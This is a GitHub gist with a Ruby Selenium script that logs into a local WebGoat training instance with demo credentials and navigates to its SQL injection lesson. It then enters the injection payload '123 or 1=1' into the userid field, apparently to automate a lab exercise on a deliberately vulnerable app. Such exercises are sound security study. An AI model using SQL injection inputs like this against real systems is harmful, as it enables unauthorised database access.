Skip to content

Instantly share code, notes, and snippets.

@runako
Created December 30, 2017 05:07
Show Gist options
  • Save runako/0ae6875c2cb519349b743503249606c5 to your computer and use it in GitHub Desktop.
Save runako/0ae6875c2cb519349b743503249606c5 to your computer and use it in GitHub Desktop.
Selenium Example: Exercise WebGoat
require 'selenium-webdriver'
chromedriver_path = '/path/to/chromedriver'
Selenium::WebDriver::Chrome.driver_path = chromedriver_path
driver = Selenium::WebDriver.for :chrome
driver.navigate.to 'http://localhost:7070/WebGoat'
wait = Selenium::WebDriver::Wait.new(:timeout => 15)
input = wait.until {
element = driver.find_element(:name, "username")
element if element.displayed?
}
input.send_keys("demodemo")
input = wait.until {
element = driver.find_element(:name, "password")
element if element.displayed?
}
input.send_keys("password")
button = wait.until {
element = driver.find_element(:css, "button[type=submit]")
element if element.displayed?
}
button.click
driver.navigate.to 'http://localhost:7070/WebGoat/start.mvc#lesson/SqlInjection.lesson/7'
input = wait.until {
element = driver.find_element(:name, "userid")
element if element.displayed?
}
input.send_keys("123 or 1=1")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment